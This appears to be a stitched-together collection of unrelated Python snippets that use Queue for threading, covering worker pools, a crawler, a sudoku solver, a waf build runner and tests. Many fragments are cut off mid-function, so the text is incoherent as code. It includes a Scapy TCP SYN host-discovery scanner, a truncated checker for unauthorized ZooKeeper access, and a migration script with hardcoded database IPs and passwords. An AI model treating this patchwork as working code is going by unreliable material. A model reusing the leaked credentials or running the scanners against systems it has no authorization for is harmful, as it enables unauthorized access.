def __init__(self):
"""
"""
Plugin.__init__(self)
self.queue_in = Queue()
self.queue_out = Queue()
self.queue_saver = None
self.quit_event = Event()
self.pool = []
self.raw_saver = None
self.ai = None # this is the azimuthal integrator to use
self.npt = 2000
self.npt_azim = 256
self.input_files = []
self.method = "full_ocl_csr"
self.unit = "q_nm^-1"
self.output_file = None
self.mask = None
self.wavelength = None
self.polarization_factor = None
self.do_SA = False
self.dummy = None
self.delta_dummy = None
self.norm = 1
self.error_model = None # "poisson"
self.save_raw = None
self.raw_nxs = None
self.raw_ds = None
self.raw_compression = None
self.integration_method = "integrate1d"
self.sigma_clip_thresold = 3
self.sigma_clip_max_iter = 5
self.medfilt1d_percentile = (10, 90)
class Actor:
def __init__(self):
self._mailbox = Queue()
def send(self, msg):
self._mailbox.put(msg)
def recv(self):
msg = self._mailbox.get()
if msg is ActorExit:
raise ActorExit()
return msg
def start(self):
self._terminated = Event()
t = Thread(target=self._bootstrap)
t.daemon = True
t.start()
def _bootstrap(self):
try:
self.run()
except ActorExit:
pass
finally:
self._terminated.set()
def join(self):
self._terminated.wait()
def run(self):
while True:
msg = self.recv()
class Uploader(threading.Thread):
def __init__(self, backend):
super().__init__()
self._backend = backend
self._upload_queue = Queue()
self._keep_going = True
self._retry = None
def queue_image(self, path):
"""Queue an image for upload."""
self._upload_queue.put(path)
def run(self):
while self._keep_going:
if self._retry is None:
path = self._upload_queue.get()
else:
path = self._retry
if path is None:
break
with open(path, "rb") as img:
success = self._backend.upload_image(img.read())
if not success:
# try again
self._retry = path
else:
self._retry = None
def stop(self):
"""Terminate the thread."""
self._keep_going = False
self._upload_queue.put(None)
def test_wings_push_switches(self):
"""Testing push switches"""
# init wings
settings = {"pins": {"wings": {"left_switch": 17, "right_switch": 4, "position": 25, "movement": 22}}}
event_queue = Queue()
logging.basicConfig()
logger = logging.getLogger(name="TuxEatPi")
logger.setLevel(logging.DEBUG)
wings = FakeWings(settings, event_queue, logger)
# Test calibrate
self.assertEqual(wings.get_position(), "down")
# test left switch event
wings.push_wing('left')
event = event_queue.get(timeout=5)
self.assertEqual(event.component, 'FakeWings')
self.assertEqual(event.pin_id, wings.pins.get('left_switch'))
self.assertEqual(event.name, 'left_switch')
# test left switch event
wings.push_wing('right')
event = event_queue.get(timeout=5)
self.assertEqual(event.component, 'FakeWings')
self.assertEqual(event.pin_id, wings.pins.get('right_switch'))
self.assertEqual(event.name, 'right_switch')
class PreviewDispatcherThread(QThread):
"""
Thread used to dispatch the element to each preview worker thread.
:param queue: The main queue containing the elements to process.
:param mo_signal: The signal to pass to the MO preview worker, updates the MO preview.
:param nmm_signal: The signal to pass to the NMM preview worker, updates the NMM preview.
:param code_signal: The signal to pass to the code preview worker, updates the code preview.
"""
def __init__(self, queue, code_signal, **kwargs):
super().__init__()
self.queue = queue
self.gui_queue = Queue()
self.code_queue = Queue()
self.code_thread = PreviewCodeWorker(self.code_queue, code_signal)
self.code_thread.start()
self.gui_thread = PreviewGuiWorker(self.gui_queue, **kwargs)
self.gui_thread.start()
def run(self):
while True:
# wait for next element
element = self.queue.get()
if element is not None:
element.write_attribs()
element.load_metadata()
element.sort()
# dispatch to every queue
self.gui_queue.put(element)
self.code_queue.put(element)
class ScraperThread(QThread):
result_signal = pyqtSignal(dict)
def __init__(self, parent=None):
super(ScraperThread, self).__init__(parent)
self._queue = Queue()
self._stop = False
def run(self):
self._stop = False
while not self._queue.empty() and not self._stop:
processed_url = self._queue.get()
result = requests.get(processed_url)
self.result_signal.emit({'headers': result.headers})
def clear_queue(self):
self._queue = Queue()
@property
def queue(self):
return self._queue
@queue.setter
def queue(self, urls):
for url in urls:
self._queue.put(url.strip())
@property
def stop(self):
return self._stop
@stop.setter
def stop(self, stop):
self._stop = stop
def crawl(self, urls, follow_links=False):
links, seen = set(), set()
queue = Queue()
converged = threading.Event()
def execute():
while not converged.is_set():
try:
url = queue.get(timeout=0.1)
except Empty:
continue
if url not in seen:
seen.add(url)
hrefs, rel_hrefs = self.execute(url)
links.update(hrefs)
if follow_links:
for href in rel_hrefs:
if href not in seen:
queue.put(href)
queue.task_done()
for url in urls:
queue.put(url)
for _ in range(self._threads):
worker = threading.Thread(target=execute)
worker.daemon = True
worker.start()
queue.join()
converged.set()
return links
def bfsreduceall(sudokuObject):
source = sudokuObject.solutiondriverNoGuess()
if source == "Bad Response":
return None
elif type(source) is Sudoku:
return source
Q = Queue([sudokuObject])
loop = 1
startminnodes = None
while not Q.isempty():
# print("loop no",loop)
if loop > 2: return dfsreduceall(sudokuObject)
# if startminnodes is not None:
# for node in startminnodes:print(node.allowedset,node.id)
# print("Q.unqueue()",Q)
v = Q.unqueue()
unfnodes = v.getOrderedMinnodesUnfilled() # unfinished nodes
if loop == 1: startminnodes = unfnodes
for minnode in unfnodes:
for permutedvalue in minnode.allowedset:
global numsudokuobjects
numsudokuobjects += 1
newsudokuObject = sudokuObject.__deepcopy__()
newsudokuObject.nodes[minnode.id].setValue(permutedvalue)
postsolveobject = newsudokuObject.solutiondriverNoGuess()
if type(postsolveobject) is Sudoku:
return postsolveobject
elif postsolveobject != "Bad Response":
Q.enqueue(newsudokuObject)
loop += 1
return None
def ExtractVideoInfo(courseURL):
"""
提取视频信息。
"""
queue = Queue()
APIcaller = FlvcdAPICaller()
parser = Open163Parser(courseURL)
for i in range(10):
worker = Worker(queue, parser, APIcaller)
worker.daemon = True
worker.start()
parser.fillQ(queue)
queue.join()
videoList = parser.getResult()
videoInfo = {
"courseURL":courseURL,
"videoList":videoList,
}
# dump complete video information.
json.dump(videoInfo, open("videoList.json", "w"))
print("Complete video information written to videoList.json.")
# dump video URLs.
urls = []
for video in videoList:
urls.append(video['url']+'\n')
with open('urls.txt', 'w') as out:
out.writelines(urls)
print("Video URLs written to urls.txt.")
def main():
# These three parameters are user defined
client_id = "*****"
username = "******"
password = "******"
tokenDict = get_tokenDict(client_id, username, password)
ts = time()
download_dir = setup_download_dir()
links = [l for l in get_links(client_id, tokenDict) if l.endswith(".jpg")]
# Create a queue to communicate with the worker threads
queue = Queue()
# Create worker threads
for x in range(int(argv[1])):
worker = DownloadWorker(queue)
# Setting daemon to True will let the main thread exit even though the workers are blocking
worker.daemon = True
worker.start()
# Put the tasks into the queue as a tuple
for link in links:
logger.info("Queueing {}".format(link))
queue.put((download_dir, link))
# Causes the main thread to wait for the queue to finish processing all the tasks
queue.join()
print("Took {}".format(time() - ts))
class BlockingInProcessChannel(InProcessChannel):
def __init__(self, *args, **kwds):
# type: (object, object) -> object
super(BlockingInProcessChannel, self).__init__(*args, **kwds)
self._in_queue = Queue()
def call_handlers(self, msg):
self._in_queue.put(msg)
def get_msg(self, block=True, timeout=None):
""" Gets a message if there is one that is ready. """
if timeout is None:
# Queue.get(timeout=None) has stupid uninteruptible
# behavior, so wait for a week instead
timeout = 604800
return self._in_queue.get(block, timeout)
def get_msgs(self):
""" Get all messages that are currently ready. """
msgs = []
while True:
try:
msgs.append(self.get_msg(block=False))
except Empty:
break
return msgs
def msg_ready(self):
""" Is there a message that has been received? """
return not self._in_queue.empty()
class Metric(object):
"""
This class stores generic time-series data in a queue.
Values are stored as (timestamp, value) tuples
"""
def __init__(self):
self.metric = Queue()
def push(self, value, timestamp=None):
if timestamp is None:
timestamp = int(time.time())
elif not isinstance(timestamp, int):
raise ValueError(
"Timestamp should be an integer, but it is '%s'" %
type(timestamp))
self.metric.put((timestamp, value))
def next(self):
try:
return self.metric.get_nowait()
except Empty:
raise StopIteration
def get(self):
# TODO: decide what we should return here
return None
def __iter__(self):
return self
def _port_ping(self, hosts: Queue, interface: str, results: set):
self.logger.debug("{}: Starting TCP SYN ping thread.".format(threading.current_thread().name))
while True:
ip = hosts.get() # type: IPAddress
ip_str = str(ip)
# Send SYN with random Src Port for each Dst port
for dstPort in self.portstoscan:
srcPort = random.randint(1025, 65534)
resp = sr1(IP(dst=ip_str) / TCP(sport=srcPort, dport=dstPort, flags=ScapyTCPFlag.SYN), timeout=1,
verbose=False,
iface=interface)
if resp and resp.haslayer(TCP):
if resp[TCP].flags == (TCPFlag.SYN | TCPFlag.ACK) or resp[TCP].flags == (TCPFlag.RST | TCPFlag.ACK):
# Send Reset packet (RST)
send(IP(dst=ip_str) / TCP(sport=srcPort, dport=dstPort, flags=ScapyTCPFlag.RST),
iface=interface, verbose=False)
# We know the port is closed or opened (we got a response), so we deduce that the host exists
node = NetworkNode()
node.ip = ip
node.mac = EUI(resp.src)
node.host = resolve_ip(resp[IP].src)
results.add(node)
self.logger.debug(
"Found a live host by pinging port {port_nbr}: {live_host}.".format(port_nbr=dstPort,
live_host=str(node)))
# We don't need to test the other ports. We know the host exists.
break
hosts.task_done()
def __init__(self, token_file, dev=False):
"""
Not only does it represent a client connection to the discord server, but it also initializes the used api tokens
and a representation of the League client by generating a League object.
:param str token_file: location of the token file containing the api tokens
:type token_file: str
:param dev: allows the bot to start in a development environment with a separate discord bot token
:type dev: bool
:returns: GanjaClient -- the GanjaClient object acting as the discord client
"""
super(GanjaClient, self).__init__()
with open(token_file) as f:
data = json.load(f)
self.server_token = data['token']
self.dev_token = data['dev_token']
self.wolfram = data['wolfram_token']
open_token = data['open_league_token']
riot_token = data['league_token']
self.database = '.databases/'
self.http_header = {'User-Agent': 'Mozilla/5.0', 'Accept': 'text/html,application/json'}
self.list_commands = {}
self.voice = None
self.player = None
self.last_channel = None
self.queue = Queue()
self.queue_name = Queue()
self.league = League(open_token, riot_token, self.http_header)
for i in os.listdir('data'):
with open('data/' + i) as f:
lines = f.read().splitlines()
self.list_commands[i] = lines
if dev:
self.token = self.dev_token
else:
self.token = self.server_token
def track(self):
queue = Queue()
thread = Thread(target=self._update_status, args=(queue,))
thread.start()
widgets = ['Processing...', AnimatedMarker()]
progress_indicator = ProgressBar(widgets=widgets, maxval=UnknownLength)
progress_indicator.start()
content = {}
for indicator_count in itertools.count():
if not queue.empty():
content = queue.get()
if isinstance(content, Exception):
raise content
widgets[0] = self._get_message(content)
progress_indicator.update(indicator_count)
if content.get('processed'):
break
sleep(0.1)
progress_indicator.finish()
self.__content = content
return content
def spin_server(queue: Queue, transport: AbstractTransport):
while True:
'''
do stuff
'''
b64image = transport.handle_client()
queue.put(b64image, False)
def main():
ts = time.time()
# create a queue to communicate with the worker threads
queue=Queue()
# Create 2 wroker threads
for x in range(6):
worker = doExpbatWorker(queue)
# setting daemon to True will let then main thread exit even though the workers are blocking
worker.demon = True
worker.start()
#for i in range(9):
# queue.put(('~/'+str(i)+'.bat','dfdf'))
jb = []
batpath='g:/migration/exp_script/'
csvpath='g:/migration/mig_xw/'
jb.append((batpath+'cps_xw_studentcourse.bat', batpath+'cps_xw_studentcourse.bat '+' AcademicAdministration '+ csvpath+'cps_xw_studentcourse.csv 202.205.160.199 jwc wangbin'))
jb.append((batpath+'cps_xw_avgscore.bat', batpath+'cps_xw_avgscore.bat '+' AcademicAdministration '+ csvpath+'cps_xw_avgscore.csv 202.205.160.199 jwc wangbin'))
#jb.append((batpath+'exmm_composescore330.bat', batpath+'exmm_composescore330.bat '+' zhejiang '+ csvpath+'exmm_composescore330.csv 202.205.160.183 sa !!!WKSdatatest!!!'))
#jb.append((batpath+'cps_xw_avgscore.bat', batpath+'cps_xw_avgscore.bat '+' AcademicAdministration '+ csvpath+'cps_xw_avgscore.csv 202.205.160.199 jwc wangbin'))
#jb.append((batpath+'exmm_xkStandardplan330.bat', batpath+'exmm_xkStandardplan330.bat '+' zhejiang '+ csvpath+'exmm_xkstandsartplan330.csv 202.205.160.183 sa !!!WKSdatatest!!!'))
#jb.append((batpath+'exmm_xkStandard330.bat', batpath+'exmm_xkStandard330.bat '+' zhejiang '+ csvpath+'exmm_xkstandsart330.csv 202.205.160.183 sa !!!WKSdatatest!!!'))
excl=[]
for item in jb:
find = False
for i in excl:
if i in item[0]:
find = True
break
if find == False:
#if 'exemptapply' in item[0]:
queue.put(item)
queue.join()
print('took %s minuters '%((time.time()-ts)/60,))
def download_cover(self, log, result_queue, abort, # {{{
title=None, authors=None, identifiers={}, timeout=30, get_best_cover=False):
cached_url = self.get_cached_cover_url(identifiers)
if cached_url is None:
log.info('No cached cover found, running identify')
rq = Queue()
self.identify(log, rq, abort, title=title, authors=authors,
identifiers=identifiers)
if abort.is_set():
return
results = []
while True:
try:
results.append(rq.get_nowait())
except Empty:
break
results.sort(key=self.identify_results_keygen(
title=title, authors=authors, identifiers=identifiers))
for mi in results:
cached_url = self.get_cached_cover_url(mi.identifiers)
if cached_url is not None:
break
if cached_url is None:
log.info('No cover found')
return
if abort.is_set():
return
br = self.browser
log('Downloading cover from:', cached_url)
try:
cdata = br.open_novisit(cached_url, timeout=timeout).read()
result_queue.put((self, cdata))
except:
log.exception('Failed to download cover from:', cached_url)
class BlockingShellSocketChannel(ShellSocketChannel):
def __init__(self, context, session, address=None):
super(BlockingShellSocketChannel, self).__init__(context, session,
address)
self._in_queue = Queue()
def call_handlers(self, msg):
#io.rprint('[[Shell]]', msg) # dbg
self._in_queue.put(msg)
def msg_ready(self):
"""Is there a message that has been received?"""
if self._in_queue.qsize() == 0:
return False
else:
return True
def get_msg(self, block=True, timeout=None):
"""Get a message if there is one that is ready."""
return self._in_queue.get(block, timeout)
def get_msgs(self):
"""Get all messages that are currently ready."""
msgs = []
while True:
try:
msgs.append(self.get_msg(block=False))
except Empty:
break
return msgs
class EventListener(FileSystemEventHandler):
"""
Listens for changes to files and re-runs tests after each change.
"""
def __init__(self, extensions=[]):
super(EventListener, self).__init__()
self.event_queue = Queue()
self.extensions = extensions or DEFAULT_EXTENSIONS
def on_any_event(self, event):
"""
Called when a file event occurs.
Note that this gets called on a worker thread.
"""
# Filter for allowed event types
if not isinstance(event, WATCHED_EVENTS):
return
src_path = os.path.relpath(event.src_path)
dest_path = None
if isinstance(event, FileMovedEvent):
dest_path = os.path.relpath(event.dest_path)
# Filter files that don't match the allowed extensions
if not event.is_directory and self.extensions != ALL_EXTENSIONS:
src_ext = os.path.splitext(src_path)[1].lower()
src_included = src_ext in self.extensions
dest_included = False
if dest_path:
dest_ext = os.path.splitext(dest_path)[1].lower()
dest_included = dest_ext in self.extensions
if not src_included and not dest_included:
return
self.event_queue.put((type(event), src_path, dest_path))
def runexternal_out_and_err(cmd, check_memleak = True):
command = shlex.split(cmd)
p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if p.stdout is not None:
q_stdout = Queue()
t_stdout = Thread(target=read_in_thread, args=(p.stdout, q_stdout))
t_stdout.start()
else:
q_stdout = None
ret_stdout = ''
if p.stderr is not None:
q_stderr = Queue()
t_stderr = Thread(target=read_in_thread, args=(p.stderr, q_stderr))
t_stderr.start()
else:
q_stderr = None
ret_stderr = ''
if q_stdout is not None:
ret_stdout = q_stdout.get().decode('ascii')
if q_stderr is not None:
ret_stderr = q_stderr.get().decode('ascii')
p.wait()
return (ret_stdout, ret_stderr)
class HandlerThread(Thread):
def __init__(self, bot, lock):
self.bot = bot
self.queue = Queue()
self.lock = lock
super().__init__()
def run(self):
while True:
try:
items = None
args = self.queue.get()
with self.lock:
items = self.bot.__irccallbacks__[args[0]]
for item in items:
if not get_core(item):
if self.bot.verbose:
print("[command thread:%s] calling fn %s" % (datetime.datetime.utcnow(), item.__name__))
item(self.bot, *(args[1]))
except BaseException as e:
if not isinstance(e, SystemExit) and not isinstance(e, KeyboardInterrupt):
traceback.print_exc()
def push(self, cname, *args):
self.queue.put(tuple([cname] + list(args)))
class JQueryChaliceRequestHandler(BaseHTTPRequestHandler):
server_version = "Extremon/0.1"
def do_GET(self):
self.outq=Queue(maxsize=10)
self.running=True
self.server.add_consumer(self)
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.send_header("Access-Control-Allow-Origin", "*")
self.end_headers()
self.missed=0
self.running=True
try:
while self.running:
try:
message = self.outq.get() + bytes('%s.timestamp=%.2f\n%s.missed=%d\n\n' % (self.server.prefix,time.time(),self.server.prefix,self.missed),'UTF-8')
self.wfile.write(bytes(str(len(message)) + ";", 'UTF-8'))
self.wfile.write(message)
self.wfile.write(b';')
self.outq.task_done()
except error:
self.running=False
finally:
self.server.remove_consumer(self)
def write(self,data):
try:
self.outq.put(data,block=False)
except Full:
self.missed+=1
def test_handle_failing_upload_xlog(self):
sleeps = []
def sleep(sleep_amount):
sleeps.append(sleep_amount)
time.sleep(0.001)
callback_queue = Queue()
storage = MockStorageRaising()
self.transfer_agent.sleep = sleep
self.transfer_agent.get_object_storage = storage
assert os.path.exists(self.foo_path) is True
self.transfer_queue.put({
"callback_queue": callback_queue,
"file_size": 3,
"filetype": "xlog",
"local_path": self.foo_path,
"metadata": {"start-wal-segment": "00000001000000000000000C"},
"site": self.test_site,
"type": "UPLOAD",
})
with pytest.raises(Empty):
callback_queue.get(timeout=0.1)
alert_file_path = os.path.join(self.config["alert_file_dir"], "upload_retries_warning")
assert os.path.exists(alert_file_path) is True
os.unlink(alert_file_path)
expected_sleeps = [0.5, 1, 2, 4, 8, 16, 20, 20]
assert sleeps[:8] == expected_sleeps
def is_alive(ip_addr):
lock = threading.Lock()
probe_ports = [22, 3389]
q = Queue()
status = False
for port in probe_ports:
q.put(port)
class Probe(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
def run(self):
try:
self.port = q.get(block=False)
except Empty:
return False
if tcp_probe(ip_addr, self.port):
with lock:
nonlocal status
status = True
# print("Success to connect to " + ip_addr + " " + str(self.port))
# else:
# print("Failed to connect to " + ip_addr + " " + str(self.port))
q.task_done()
for x in range(5):
p = Probe()
p.daemon = True
p.start()
q.join()
return status
def runexternal_out_and_err(cmd, check_memleak=True):
# pylint: disable=unused-argument
command = shlex.split(cmd)
p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if p.stdout is not None:
q_stdout = Queue()
t_stdout = Thread(target=read_in_thread, args=(p.stdout, q_stdout))
t_stdout.start()
else:
q_stdout = None
ret_stdout = ''
if p.stderr is not None:
q_stderr = Queue()
t_stderr = Thread(target=read_in_thread, args=(p.stderr, q_stderr))
t_stderr.start()
else:
q_stderr = None
ret_stderr = ''
if q_stdout is not None:
ret_stdout = q_stdout.get().decode('ascii')
if q_stderr is not None:
ret_stderr = q_stderr.get().decode('ascii')
waitcode = p.wait()
if waitcode != 0:
ret_stderr = ret_stderr + '\nERROR ret code = %d' % waitcode
return (ret_stdout, ret_stderr)
def test_producer_consumer_with_queues(self):
# we currently just stress yappi, no functionality test is done here.
yappi.start()
import time
if utils.is_py3x():
from queue import Queue
else:
from Queue import Queue
from threading import Thread
WORKER_THREAD_COUNT = 50
WORK_ITEM_COUNT = 2000
def worker():
while True:
item = q.get()
# do the work with item
q.task_done()
q = Queue()
for i in range(WORKER_THREAD_COUNT):
t = Thread(target=worker)
t.daemon = True
t.start()
for item in range(WORK_ITEM_COUNT):
q.put(item)
q.join()# block until all tasks are done
#yappi.get_func_stats().sort("callcount").print_all()
yappi.stop()
def wrapper(*args, **kargs):
q = Queue()
def callback(value):
q.put(None)
def errback(failure):
# Retrieve and save full exception info
try:
failure.raiseException()
except:
q.put(sys.exc_info())
def g():
try:
d = func(*args, **kargs)
try:
d.addCallbacks(callback, errback)
# Check for a common mistake and display a nice error
# message
except AttributeError:
raise TypeError("you must return a twisted Deferred "
"from your test case!")
# Catch exceptions raised in the test body (from the
# Twisted thread)
except:
q.put(sys.exc_info())
reactor.callFromThread(g)
try:
error = q.get(timeout=timeout)
except Empty:
raise TimeExpired("timeout expired before end of test (%f s.)"
% timeout)
# Re-raise all exceptions
if error is not None:
exc_type, exc_value, tb = error
raise exc_type(exc_value).with_traceback(tb)
def __init__(self):
self.active_calls = []
self.waiting_calls = Queue()
self.respondents = []
self.free_respondents = Queue()
self.managers = []
self.directors = []
def _put(self, xxx_todo_changeme):
# Only consider re-evaluation if we are still on the same eval
# session.
(eval_sess, is_reeval) = xxx_todo_changeme
if is_reeval and self._curr_eval_sess is not eval_sess:
return
replace = True
if hasattr(eval_sess, "ctlr") and eval_sess.ctlr and eval_sess.ctlr.keep_existing:
# Allow multiple eval sessions; currently used for variable
# highlighting (bug 80095), may pick up additional uses. Note that
# these sessions can still get wiped out by a single replace=False
# caller.
replace = False
if replace:
# We only allow *one* eval session at a time.
# - Drop a possible accumulated eval session.
if len(self.queue):
self.queue.clear()
## - Abort the current eval session.
if not is_reeval and self._curr_eval_sess is not None:
self._curr_eval_sess.ctlr.abort()
# Lazily start the eval thread.
if not self.isAlive():
self.start()
Queue._put(self, (eval_sess, is_reeval))
if replace:
assert len(self.queue) == 1
# coding=utf-8
import MySQLdb
from queue import Queue
import socket
import json
from time import sleep
import threading
import os
mutex = threading.Lock() # queue mutex
queue = Queue() # 全局判题列表
myjsonfile = open("./setting.json", 'r')
judgerjson = json.loads(myjsonfile.read())
if os.environ.get("DB_USER"):
judgerjson["db_ip"] = os.environ.get("DB_HOST")
judgerjson["db_pass"] = os.environ.get("DB_PASSWORD")
judgerjson["db_user"] = os.environ.get("DB_USER")
judgerjson["db_port"] = os.environ.get("DB_PORT")
try:
db = MySQLdb.connect(judgerjson["db_ip"],
judgerjson["db_user"],
judgerjson["db_pass"],
judgerjson["db_database"],
int(judgerjson["db_port"]),
charset='utf8')
except Exception as e:
print(e)
# coding:utf-8
# 检验zookeeper是否存在未授权
# author:ske
import threading
from queue import Queue
from kazoo.client import KazooClient
import sys
event = threading.Event()
event.set()
q = Queue(-1)
class multi_thread(threading.Thread):
def __init__(self, num, q):
threading.Thread.__init__(self)
self.num = num
self.q = q
def run(self):
while event.is_set(): #is_set()查看信号，由于之前设置了Flag为True，所以为真
if self.q.empty(): #如果队列空了就跳出循环，终止
event.clear()
else: #如果队列不为空
ip = self.q.get()
self.check_zookeeper(ip)
def check_zookeeper(self, ip):
try:
zk = KazooClient(hosts='{}:2181'.format(ip))
'content': content,
'vote': vote,
'comments': comments
}
with self.lock:
self.f.write(
json.dumps(result, ensure_ascii=False).encode("utf-8")
+ "\n")
except Exception as e:
print("parse data ", e)
with self.lock:
total += 1
data_queue = Queue()
exitFlag_Parser = False
lock = threading.Lock()
total = 0
def main():
output = open("qiushibaike.json", "a")
pageQueue = Queue(50)
for page in range(1, 11):
pageQueue.put(page)
# 初始化
crawlthreads = []
crawlList = ["crawl-1", "crawl-2", "crawl-3"]
global run, ans
if (x, y) in visited:
return
visited.add((x, y))
if not (-1 < x < M and -1 < y < N) or abs(field[x][y]) - h > 5 or not run:
return
if x == (M-1) and y == (N-1):
run = False
ans = step
return
step += 1
h = field[x][y]
BFS_Queue.put((step, x+1, y, h))
BFS_Queue.put((step, x, y+1, h))
BFS_Queue.put((step, x-1, y, h))
BFS_Queue.put((step, x, y-1, h))
a = int(input())
for _ in range(a):
visited = set()
BFS_Queue = Queue()
run = True
ans = 0
M, N = [int(x) for x in input().split()]
field = [[int(x) for x in input().split()] for n in range(M)]
BFS_Queue.put((0, 0, 0, field[0][0]))
while run and not BFS_Queue.empty():
BFS(*BFS_Queue.get())
print(ans)
def setq(consumer):
consumer.ready = Queue(0)
self.out.put(self)
class Parallel(object):
"""
Schedule the tasks obtained from the build context for execution.
"""
def __init__(self, bld, j=2):
"""
The initialization requires a build context reference
for computing the total number of jobs.
"""
self.numjobs = j
"""
Number of consumers in the pool
"""
self.bld = bld
"""
Instance of :py:class:`waflib.Build.BuildContext`
"""
self.outstanding = []
"""List of :py:class:`waflib.Task.TaskBase` that may be ready to be executed"""
self.frozen = []
"""List of :py:class:`waflib.Task.TaskBase` that cannot be executed immediately"""
self.out = Queue(0)
"""List of :py:class:`waflib.Task.TaskBase` returned by the task consumers"""
self.count = 0
"""Amount of tasks that may be processed by :py:class:`waflib.Runner.TaskConsumer`"""
self.processed = 1
"""Amount of tasks processed"""
self.stop = False
"""Error flag to stop the build"""
self.error = []
"""Tasks that could not be executed"""
self.biter = None
"""Task iterator which must give groups of parallelizable tasks when calling ``next()``"""
self.dirty = False
"""Flag to indicate that tasks have been executed, and that the build cache must be saved (call :py:meth:`waflib.Build.BuildContext.store`)"""
def get_next_task(self):
"""
Obtain the next task to execute.
:rtype: :py:class:`waflib.Task.TaskBase`
"""
if not self.outstanding:
return None
return self.outstanding.pop(0)
def add_outstanding_tasks(self, new_tasks, update_count=True):
# apply task filter if it exists
if self.bld.options.task_filter:
filters = self.bld.options.task_filter.split(',')
filtered_tasks = []
for task in new_tasks:
if task.__class__.__name__ in filters:
filtered_tasks.append(task)
new_tasks = filtered_tasks
self.outstanding += new_tasks
if update_count:
self.total += len(new_tasks)
def postpone(self, tsk):
"""
A task cannot be executed at this point, put it in the list :py:attr:`waflib.Runner.Parallel.frozen`.
:param tsk: task
:type tsk: :py:class:`waflib.Task.TaskBase`
"""
self.frozen.append(tsk)
def refill_task_list(self):
"""
Put the next group of tasks to execute in :py:attr:`waflib.Runner.Parallel.outstanding`.
"""
while self.count > self.numjobs * GAP:
self.get_out()
while not self.outstanding:
if self.count:
self.get_out()
elif self.frozen:
try:
cond = self.deadlock == self.processed
except AttributeError:
pass
else:
if cond:
msg = 'check the build order for the tasks'
for tsk in self.frozen:
if not tsk.run_after:
msg = 'check the methods runnable_status'
break
lst = []
for tsk in self.frozen:
lst.append(
'%s\t-> %r' %
(repr(tsk), [id(x) for x in tsk.run_after]))
raise Errors.WafError('Deadlock detected: %s%s' %
(msg, ''.join(lst)))
self.deadlock = self.processed
if self.frozen:
self.add_outstanding_tasks(self.frozen, False)
self.frozen = []
elif not self.count:
self.add_outstanding_tasks(next(self.biter))
break
def add_more_tasks(self, tsk):
"""
Tasks may be added dynamically during the build by binding them to the task :py:attr:`waflib.Task.TaskBase.more_tasks`
:param tsk: task
:type tsk: :py:attr:`waflib.Task.TaskBase`
"""
if getattr(tsk, 'more_tasks', None):
self.add_outstanding_tasks(tsk.more_tasks)
def get_out(self):
"""
Obtain one task returned from the task consumers, and update the task count. Add more tasks if necessary through
:py:attr:`waflib.Runner.Parallel.add_more_tasks`.
:rtype: :py:attr:`waflib.Task.TaskBase`
"""
tsk = self.out.get()
if not self.stop:
self.add_more_tasks(tsk)
self.count -= 1
self.dirty = True
return tsk
def error_handler(self, tsk):
"""
Called when a task cannot be executed. The flag :py:attr:`waflib.Runner.Parallel.stop` is set, unless
the build is executed with::
$ waf build -k
:param tsk: task
:type tsk: :py:attr:`waflib.Task.TaskBase`
"""
if not self.bld.keep:
self.stop = True
self.error.append(tsk)
def add_task(self, tsk):
"""
Pass a task to a consumer.
:param tsk: task
:type tsk: :py:attr:`waflib.Task.TaskBase`
"""
try:
self.pool
except AttributeError:
self.init_task_pool()
self.ready.put(tsk)
def init_task_pool(self):
# lazy creation, and set a common pool for all task consumers
pool = self.pool = [get_pool() for i in range(self.numjobs)]
self.ready = Queue(0)
def setq(consumer):
consumer.ready = self.ready
for x in pool:
x.ready.put(setq)
return pool
def free_task_pool(self):
# return the consumers, setting a different queue for each of them
def setq(consumer):
consumer.ready = Queue(0)
self.out.put(self)
try:
pool = self.pool
except AttributeError:
pass
else:
for x in pool:
self.ready.put(setq)
for x in pool:
self.get_out()
for x in pool:
put_pool(x)
self.pool = []
def start(self):
"""
Give tasks to :py:class:`waflib.Runner.TaskConsumer` instances until the build finishes or the ``stop`` flag is set.
If only one job is used, then execute the tasks one by one, without consumers.
"""
file_filter_list = []
if self.bld.options.file_filter != "":
file_filter_list = self.bld.options.file_filter.split(";")
self.total = self.bld.total()
if self.total == 0:
self.stop = True
while not self.stop:
self.refill_task_list()
# consider the next task
tsk = self.get_next_task()
if not tsk:
if self.count:
# tasks may add new ones after they are run
continue
else:
# no tasks to run, no tasks running, time to exit
break
if tsk.hasrun:
# if the task is marked as "run", just skip it
self.processed += 1
continue
if self.stop: # stop immediately after a failure was detected
break
try:
if not file_filter_list:
st = tsk.runnable_status(
) # No file filter, execute all tasks
else:
# File filter, check if we should compile this task
bExecuteTask = False
st = Task.SKIP_ME
# check if the file is used in this task. If so, we must execute this task
for input in tsk.inputs:
if input.abspath() in file_filter_list:
bExecuteTask = True
break
# this task is included in the filter
if bExecuteTask:
# a task may require other tasks run first. These may have been skipped earlier.
if not hasattr(tsk, 'required_tasks'):
tsk.required_tasks = []
def add_dependent_tasks(depends, tsk):
for t in tsk.run_after:
if t.hasrun == Task.NOT_RUN or t.hasrun == Task.SKIPPED:
add_dependent_tasks(depends, t)
depends.append(t)
# cant run a task until the run_after list is completed for all tasks in the dependency chain
# recurse and create a list of everything that needs to be considered
add_dependent_tasks(tsk.required_tasks, tsk)
if tsk.required_tasks:
# process the run_after tasks first. postpone the current task similar to ASK_LATER handling
self.postpone(tsk)
# grab a prereq and replace the task under consideration. These tasks may have been skipped earlier
tsk = tsk.required_tasks.pop(0)
st = tsk.runnable_status()
# fallout, do normal task processing
else:
# prerequisites already handled, must be runnable now. Computing the status for side effects
st = tsk.runnable_status()
assert (st != Task.ASK_LATER)
st = Task.RUN_ME # but forcing the task to run anyways
# override the inputs for special handling
if len(tsk.outputs) > 0:
for input in tsk.inputs:
if input.abspath() in file_filter_list:
# patch output file to handle special commands
override_output_file = self.bld.is_option_true(
'show_preprocessed_file'
) or self.bld.is_option_true(
'show_disassembly')
if override_output_file == True:
# Get file extension
if self.bld.is_option_true(
'show_disassembly'):
file_ext = '.diasm'
elif self.bld.is_option_true(
'show_preprocessed_file'):
file_ext = '.i'
else:
self.bld.fatal(
"Command option file extension output file implementation missing."
)
# Set output file
out_file = input.change_ext(
file_ext)
tsk.outputs[0] = out_file
# Add post build message to allow VS user to open the file
if getattr(self.bld.options,
'execsolution', ""):
self.bld.post_build_msg_warning.append(
'%s(0): warning: %s.' %
(out_file.abspath(),
"Click here to open output file"
))
# fallout, resume normal task processing with the overrides
except Exception:
self.processed += 1
